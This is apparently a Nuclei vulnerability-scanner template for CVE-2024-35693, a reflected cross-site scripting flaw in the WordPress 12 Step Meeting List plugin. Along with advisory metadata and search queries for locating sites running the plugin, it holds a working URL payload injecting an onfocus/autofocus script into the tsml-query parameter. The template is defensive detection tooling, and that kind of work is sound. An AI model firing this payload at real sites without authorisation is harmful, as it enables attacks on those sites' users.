id: CVE-2024-35693

info:
  name: WordPress 12 Step Meeting List Plugin <= 3.14.33 - Cross-Site Scripting
  author: intelligent-ears
  severity: medium
  description: |
    Code for Recovery 12 Step Meeting List versions up to 3.14.33 contain a reflected cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in users' browsers, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute malicious scripts in user browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.
  remediation: |
    Implement proper input sanitization and output encoding, and update to the latest version.
  reference:
    - https://patchstack.com/database/vulnerability/12-step-meeting-list/wordpress-12-step-meeting-list-plugin-3-14-33-cross-site-scripting-xss-vulnerability
    - https://github.com/code4recovery/12-step-meeting-list/issues/1415
    - https://wordpress.org/plugins/12-step-meeting-list
    - https://nvd.nist.gov/vuln/detail/CVE-2024-35693
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-35693
    epss-score: 0.13886
    epss-percentile: 0.94403
    cwe-id: CWE-79
    cpe: cpe:2.3:a:code4recovery:12_step_meeting_list:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: code4recovery
    product: 12-step-meeting-list
    framework: wordpress
    fofa-query: body="/wp-content/plugins/12-step-meeting-list/"
    publicwww-query: "/wp-content/plugins/12-step-meeting-list/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,xss,reflected,12-step-meeting-list,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/?post_type=tsml_meeting&tsml-query=%22%20onfocus%3Dalert%28document.domain%29%20autofocus%20%22"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="" onfocus=alert(document.domain) autofocus'
          - 'tsml'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402200fbd610cf976d7863868f8b5e10fb6922bd2a43a3bf992fb15715ec102713a020220195516d4e6365264c2b165bb47eb35fe44c03fce8a61447e83bdfe6671388675:922c64590222798bb761d5b6d8e72950